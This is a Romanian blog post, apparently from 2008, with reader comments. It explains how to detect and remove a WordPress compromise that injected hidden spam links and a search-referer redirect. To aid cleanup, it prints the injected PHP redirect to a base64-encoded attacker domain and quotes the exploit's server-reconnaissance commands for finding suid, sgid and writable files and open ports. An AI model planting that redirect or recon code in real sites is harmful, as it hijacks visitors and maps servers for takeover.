Blogosfera virusata… dar, cu mine ce-ati avut?!

In ultima luna, am tot primit avertismente de virus in blog de la unii vizitatori. Initial am ignorat avertismentele, pentru ca aveam instalat un antivirus destul de bun (Kaspersky AV 2009) si desi stateam mult timp pe blog, nu am primit niciodata alerta de virus (.. mai demult am vazut ceva suspect, care la primul refresh a disparut. in fine…).
Incet, incet au inceput sa apara variatii mari ale traficului de vizitatori, dupa care in ultima vreme traficul a scazut constant si au inceput sa fie tot mai multi cei care sa-mi spuna ca stealthsettings.com este virusat. Ieri am primit de la cineva un screenshot facut in momentul in care antivirusul a blocat un script de pe stealthsettings.com :Trojan-Clicker.HTML.IFrame.gr. A fost destul de convingator pentru mine, incat sa ma pun pe cautat in toate sursele. Prima idee care mi-a venit in minte, a fost sa fac upgrade la ultima versiune de WordPress (2.5.1), dar nu inainte de a sterge toate fisierele vechiului script de WordPress si de a face backup la baza de date.  Procedura asta nu a dat niciun rezultat si probabil ar mai fi durat mult timp ca sa-mi dau sema unde e buba, daca nu mi-ar fi spus intr-o discutie la cafea, ca a gasit pe Google si ar fi bine sa-l vad.
MyDigitalLife.info, au publicat un articol cu titlul :  “WordPress Hack: Recover and Fix Google and Search Engine or No Cookie Traffic Redirected to Your-Needs.info, AnyResults.Net, Golden-Info.net and Other Illegal Sites”, care este capatul de fir de care aveam nevoie.
E vorba despre un exploit de WordPress bazat pe cookie, care dupa parerea mea este foarte complex si facut ca la carte. Destul de inteligent incat sa faca un SQL Injection in baza de date a blogului, sa creeze un user invizibil la o simpla verificare de rutina din Dashboard->Users, sa verifice pe server directoarele si fisierele “writable” (care au chmod 777), sa caute si sa execute fisiere cu privilegii de grup sau chiar de root. Nu stiu care este numele exploitului si vad ca sunt putine articole scrise despre el, in ciuda faptului ca sunt foarte multe bloguri infectate, inclusiv din Romania. Ok… o sa incerc sa incerc sa explic generalitati despre acest virus.

Ce face virusul?

In primul rand, insereaza in sursele paginilor de pe bloguri, link-uri invizibile pentru vizitatori dar vizibile si indexabile pentru motoarele de cautare, in special de Google. In acest fel transfera Page Rank catre site-uri indicate de atacator. In al doilea rand,  mai este inserat un cod de redirectionare URL, pentru vizitatorii care vin din Google, Live, Yahoo, … sau dintr-un RSS reader si nu au site-ul in cookie. Un antivirus detecteaza acest redirect ca Trojan-Clicker.HTML.

Simptome:

Scaderea masiva a traficului de vizitatori, in special pe blogurile unde majoritatea vizitatorilor provin din Google.

Identificare: (de aici se complica problema pentru cei care nu cat de cat habar de phpmyadmin, php si linux)

LA. ATENTIE!!! MAI INTAI FACETI UN BACKUP LA BAZA DE DATE!!!

1. Verificati sursele fisierelor index.php, header.php, footer.php, din tema blogului si vedeti daca exista un cod care foloseste criptare base64 sau contine “if($ser==”1? && sizeof($_COOKIE)==0)” de forma :

<?php \
$seref=array(”google”,”msn”,”live”,”altavista”,
”ask”,”yahoo”,”aol”,”cnn”,”weather”,”alexa”);
$ser=0; foreach($seref as $ref)
if(strpos(strtolower
($_SERVER[’HTTP_REFERER’]),$ref)!==false){ $ser=”1?; break; }
if($ser==”1? && sizeof($_COOKIE)==0){ header(”Location: http://”.base64_decode(”YW55cmVzdWx0cy5uZXQ=”).”/”); exit;
}?>

…sau ceva asemanator. Stergeti acest cod!

Click pe imagine…

index code

In screenshot-ul de mai sus eu am selectat din greseala si “<?php get_header(); ?>”. Acel cod trebuie sa ramana.

2. Folositi phpMyAdmin si mergeti in baza de date la tabelul wp_users, unde verificati daca exista un user fara nume, creat la data de 00:00:00 0000-00-00 (este posibil in campul user_login sa scrie “WordPress”. Notati ID-ul acestui user (campul ID) dupa care stergeti-l.

Click pe imagine…

fake user

*cel de pe linia verde, trebuie sters si retinut ID-ul lui. In cazul lui , a fost ID=8 .

3. Mergeti in tabelul wp_usermeta, unde trebuie sa localizati si sa stergeti liniile aferente ID-ului (unde in campul user_id apare valoarea ID-ului sters) .

4. In tabelul wp_option, mergeti in active_plugins si vedeti ce plugin este activat suspect. Acesta poate folosi terminatii de genul _old.giff, _old.pngg, _old.jpeg, _new.php.giff, etc combinatii de extensii imagine bogus cu  _old si _new.

SELECT * FROM wp_options WHERE option_name = ‘active_plugins’

Stergeti acest plugin, dupa care mergeti in blog –> Dashboard –> Plugins, unde dezactivati si activati un plugin oarecare.

Click pe imagine, sa vedeti cum apare fisierul virusat in active_plugins.

plugin

Urmati calea pe FTP sau SSH, indicata in active_plugins si stergeti fisierul de pe server.

5. Tot in phpMyAdmin, in tabelul wp_option, gasiti si stergeti randul care contine “rss_f541b3abd05e7962fcab37737f40fad8” si randul “internal_links_cache”.
In internal_links_cache, sunt puse criptat, link-urile de spam care apar in blog si un cod de Google Adsense, al hackerului.

6. Recomandat este sa va schimbati parola de logare pe blog si sa eliminati toate userele suspecte. Faceti upgrade la ultima versiune de WordPress si setati blogul sa nu mai permita inregistrarea de noi useri. Nu este nicio pierdere…pot sa comenteze si nelogati.

Am incercat mai sus sa explic cat de cat, ce este de facut intr-o asemenea situatie, pentru a curata blogul de acest virus. Problema este mult mai grava decat pare si nici pe departe rezolvata,  pentru ca se folosesc vulnerabilitati de securitate ale webserverului de hosting, pe care este blogul.

Ca prima masura de securizare, care au acces SSH, sa faca cateva verificari pe server pentru a vedea daca mai exista fisiere de genul *_old* si *_new.* cu terminatiile .giff, .jpeg, .pngg, .jpgg. Aceste fisiere trebuiesc sterse. Daca redenumim un fisier, de ex. top_right_old.giff in top_right_old.php, vedem ca in fisier este exact codul de exploit server.

Cateva indicatii utile de verificare, curatare si securizare server.  (via SSH)

1.  cd /tmp si verificati daca exista foldere de genul tmpVFlma sau alte combinatii de nume asemenatoare si stergeti-l. Vedeti in screenshotul de mai jos, doua astfel de foldere la mine:

tmpserver

rm –rf numefolder

2. Verificati si elimiati (schimbati chmod-ul) pe cat posibil folderele cu atribute chmod 777

find all writable files in current dir: find . -type f -perm -2 -ls
find all writable directories in current dir: find . -type d -perm -2 -ls
find all writable directories and files in current dir: find . -perm -2 –ls

3. Cautati fisiere suspecte pe server.

find . -name “*_new.php*”
find . -name “*_old.php*”
find . -name “*.jpgg”
find . -name “*_giff”
find . -name “*_pngg”

4, ATENTIE!!! la fisierele care au setat bitul SUID si SGID. Aceste fisiere executa cu privilegiile utilizatorului (group) sau root, nu cu cele ale utilizatorului care executa fisierul. Aceste fisiere pot duce la compromiterea root, daca sunt probleme de securitate. Daca nu utilizati fisierele cu biti SUID si SGID , executati “chmod 0” pe ele sau dezinstalati pachetul care le contin.

Exploitul contine pe undeva in sursa …:

if(!$safe_mode){
if($os_type == ‘nix’){
$os .= execute(’sysctl -n kern.ostype’);
$os .= execute(’sysctl -n kern.osrelease’);
$os .= execute(’sysctl -n kernel.ostype’);
$os .= execute(’sysctl -n kernel.osrelease’);
if(empty($user)) $user = execute(‘id’);
$aliases = array(
” => ”,
‘find suid files’=>’find / -type f -perm -04000 -ls’,
‘find sgid files’=>’find / -type f -perm -02000 -ls’,
‘find all writable files in current dir’=>’find . -type f -perm -2 -ls’,
‘find all writable directories in current dir’=>’find . -type d -perm -2 -ls’,
‘find all writable directories and files in current dir’=>’find . -perm -2 -ls’,
’show opened ports’=>’netstat -an | grep -i listen’,
);
}else{
$os_name .= execute(‘ver’);
$user .= execute(‘echo %username%’);
$aliases = array(
” => ”,
’show runing services’ => ‘net start’,
’show process list’ => ‘tasklist’
);
}

…practic in acest mod gaseste bresele in securitate. Porturi deschise, directoare “writable” si executare fisiere cu privilegii de grup / root.

Revin cu detalii…

Cateva bloguri infectate: , ,

, , ,
www.razvanmatasel.ro,

blog.hrmarket.ro, www.nitza.ro,
motociclete.motomag.ro,

emi.brainient.com, www.picsel.ro,

,
, www.itex.ro/blog,
www.radiology.ro,

www.dipse.ro/ionut/,
www.vinul.ro/blog/, www.damaideparte.ro,

, www.artistul.ro/blog/,

www.mirabilismedia.ro/blog, blog.einvest.ro
… si lista poate continua … foarte mult.

Puteti verifica daca un blog este virusat, folosind motorul de cautare Google. copy & paste :

site:www.blegoo.com buy

Nopate buna si spor la treaba ;) In curand cred ca va veni cu noutati Eugen, pe prevezibil.imprevizibil.com.

brb :)

LA: ATENTIE! Schimbarea temei de WordPress sau upgrade-ul la WordPress 2.5.1, NU reprezinta o solutie pentru a scapa de acest virus.

Comments

35 Responses to “Blogosfera virusata… dar, cu mine ce-ati avut?!”
  1. krumel says:

    Mersii
    Recunosc, blogul e la versiunea 2.1.3 .
    Lipsa de timp.

    Mersi fain inca odata.

  2. fulgerica says:

    Buna treaba. Am descoperit exact chestiile ce le-ai descris pe aici.

    ;)

  3. acsel says:

    Ce bine ca eu nu am nimic! :D

  4. Si daca nu e pe wordpress blogul, ci pe blogspot? se aplica aceleasi solutii?

  5. Darius says:

    Denisuca la luat de la Visurât. :P Cu blogul meu văz că încă se poate face sex fierbinte fără protecţie.

  6. name says:

    hmm, si cum ai putea verifica dupa ce ai facut schimbarile alea ca blogul nu mai are ‘probleme’?

  7. stealth says:

    incearca sa folosesti tool-ul e aici : click!. In partea de jos a paginii o sa vezi sursa site-ului. As zice ca e bine sa verifici un URL de care esti sigur ca a fost virusat. E posibil index-ul sa fie curat.

  8. Ok dude, dar nu am inteles un singur lucru. Cum te infectezi?

  9. ealex says:

    Daca adminul serverului avea destul cap sa dea disable la functiile de executie locala din PHP nu aveati problema asta.

    Si treaba cu functiile exec e VECHE, de pe vremea primelor probleme cu PHPBB.

  10. stealth says:

    ealex: pe un server care are peste 100 de site-uri, un admin nu poate sa-l configureze numai wordpress. Sunt unele scripturi care au nevoie de setari individuale (prin php.ini sau php flags -> .htaccess -> apache) .
    O fi o problema veche pe phpBB, WordPress-ul a fost afectat ~ din luna martie 2008.

  11. betzy says:

    cred ca l-am luat si eu, provideru de net m-a avertizat ca ceva nu e in regula, aia de la hosting mi-au zis ca siteu a luat-o razna cadea serveru de la baza de date de numa … bon, am zis ca ma apuc sa reinstalez wordpressu cu alta baza de date, acuma vin si va intreb : inainte sa rad tot am dat export la baza de date ca sa nu pierd materialele de pe site, acuma daca dau import o sa il iau iar ?? ce sa fac ??

  12. stealth says:

    da-mi un mail. Nu cred ca este vorba de acelasi virus.

  13. Dacic Dracon says:

    O problema am avut si eu. Aveam Disqus pentru comentariile unuia dintre bloguri ( http://dacia-valahorum.blogspot.com ) . Acum nu mai fuctioneaza. M-am gandit ca este de la template si l-am schimbat insa…nimic. Desi aveam Disqus la ultimele comentarii mi-au aparut mesaje trimise de boot pe care Disqus nu le afisa. Daca dau click pe unul dintre comentarii cade tot, Firefox, messenger-ul daca este deschis iar ieri mi-a inchis pana si antivirusul. Stie cineva sa-mi dea vreun sfat?

Trackbacks

Check out what others are saying about this post...
  1. [...] E un nou virus care circula pe net pentru platformele wordpress. Eu si ce tine de hostingul meu, momentan e ok. Din acest motiv am inchis inregistrarile userilor noi. Momentan. Se pare ca virusu` ma place si nu vrea sa ma supere ca`i e frica ca nu mai scriu OK, astea fiind spuse, gasiti cum sa`l neutralizati la nenea Laurentiu pe site. Click AICI. [...]

  2. [...] tot, incercand sa-l refaci pe genunchi – anunti adminul care stie ceva php ca ai facut buba si ca cineva explica o solutie pe care oricum n-o [...]

  3. [...] Blogosfera virusata, dar cu calu’ ce-ati avut? [...]

  4. [...] la ultimul meu post, despre virusul de WordPress care a afectat cred ca peste 50% din blogurile din intreaga lume, incerc sa dau cea mai simpla [...]

  5. [...] stealthsettings.com, cu observatii si solutii.   del.icio.us [...]

  6. [...] gasit blogul pe un link despre un virus care afecteaza blogosfera… Intrucat nu sunt vreun specialist in IT am vb cu “doctorii de la [...]

  7. [...] sa cititi acest post, trebuie sa vedeti postul de aici, ca sa intelegeti ceva. [...]

  8. [...] Blogosfera virusata 1 2 Blogosfera virusata [...]

  9. [...] habar nu au de aceasta problema iar altii si daca ar realiza poate nu ar avea solutii. Asadar check THIS & THIS out. Poate aveti [...]

  10. [...] cea mai buna dovada este comentariul nr.12 de la postul  asta . [...]

  11. [...] Bloguri si exploituri wordpress 5 Iulie 2008 18:16 Care e problema si cum se rezolva. [...]

  12. [...] (inclusiv solutia problemei) le gasiti aici (via De ce). Share and Enjoy: These icons link to social bookmarking sites where readers can [...]

  13. [...] vreti sa scapati de problema intrati aici si gasiti si explicatia mai in detaliu a virusului. [...]

  14. [...] ce am dat de postul acesta la StealthSettings, am inceput sa ma gandesc cat de periculosi sunt acesti virusi, si cat de bine [...]

  15. [...] Nu are nimic comun cu ce am avut aici [...]

  16. [...] solutie la remedierea unor astfel de probleme o gasiti aici dar acum a aparut alt virus care pare mult mai periculos decat cel descris pe stealthsettings.com. [...]

  17. [...] verificati-va blogul, s-ar putea sa fie virusat !   [...]

  18. [...] multe gasiti pe stealthsettings mai exact aici Tags: blog, blogosfera virusata, exploit, hack, virus infenctionPosted under [...]

  19. [...] se intampla si la alti copii, nu numai la mine. Una peste alta, ele au fost si sparte. Super greu nu era si au reusit relativ [...]

  20. [...] interesat pe Google şi una dintre soluţii era un virus pe care se pare că NU îl am. O altă explicaţie ar fi: SERVER [...]

  21. [...] rezistat prea mult “gloriei” si au picat in pacat. Ce fac ei este mai rau decat virusul care a bantuit blogosfera in primavara-vara. Mai exact, toate site-urile care sunt inscrise in clasamentul GTOP.RO si/sau [...]

  22. [...] ca s-a bucurat prea devreme. Am revenit. Nu-i vorba, nu mi-a fost usor. Deh, cu gripa nu te pui. Gripa blogurilor m-a afectat si pe mine. Degeaba m-am vaccinat cu Avast. Vorbeste lumea ca in jur de 20% au fost [...]



Speak Your Mind

Tell us what you think about...
Blogosfera virusata… dar, cu mine ce-ati avut?! #